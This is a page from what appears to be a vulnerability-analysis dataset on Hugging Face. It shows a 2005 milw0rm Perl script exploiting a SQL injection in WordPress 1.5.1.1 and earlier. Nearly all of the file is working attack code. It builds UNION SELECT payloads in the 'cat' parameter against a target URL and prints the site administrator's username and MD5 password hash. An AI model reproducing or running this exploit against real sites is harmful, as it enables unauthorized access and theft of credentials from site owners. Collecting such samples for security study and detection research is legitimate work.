Team Ai
Modelpublic

lilbool/vuln-code-analysis

sourceHugging Facemitupdated 2y agoView on Hugging Face
0likes
exploit_1033.txt32 linesDownload Raw Back to exploits
1#!/usr/bin/perl -w

2#

3# SQL Injection Exploit for WordPress <= 1.5.1.1

4# This exploit shows the username of the administrator of the blog and his

5# password crypted in MD5, you must only choose the correct version of the target

6# Related advisory: http://www.gentoo.org/security/en/glsa/glsa-200506-04.xml

7# Patch: download the last version at http://wordpress.org/download/

8# Coded by Alberto Trivero

9

10use LWP::Simple;

11

12print "\n\t====================================\n";

13print "\t= Exploit for WordPress <= 1.5.1.1 =\n";

14print "\t=        by Alberto Trivero        =\n";

15print "\t====================================\n\n";

16

17if(!$ARGV[0] or !($ARGV[0]=~m/http/) or !($ARGV[1]==1 or $ARGV[1]==2)) {

18   print "Usage:\nperl $0 [full_target_path] [target_version: 1 OR 2]\nVersion 1: WordPress <= 1.5\nVersion 2: WordPress 1.5.1 - 1.5.1.1\n\n";

19   print "Examples:\nperl $0 http://www.example.com/wordpress/ 2\n";

20   exit(0);

21}

22

23$page=get($ARGV[0]."index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==1);

24$page=get($ARGV[0]."index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==2);

25print "[+] Connected to: $ARGV[0]\n";

26$page=~m/:([a-f0-9]{32}):(.*?):/;

27print "[+] Username of administrator is: $2\n" if($2);

28print "[+] MD5 hash of password is: $1\n" if($1);

29print "[-] Unable to retrieve username\n" if(!$2);

30print "[-] Unable to retrieve hash of password\n" if(!$1);

31

32# milw0rm.com [2005-06-22]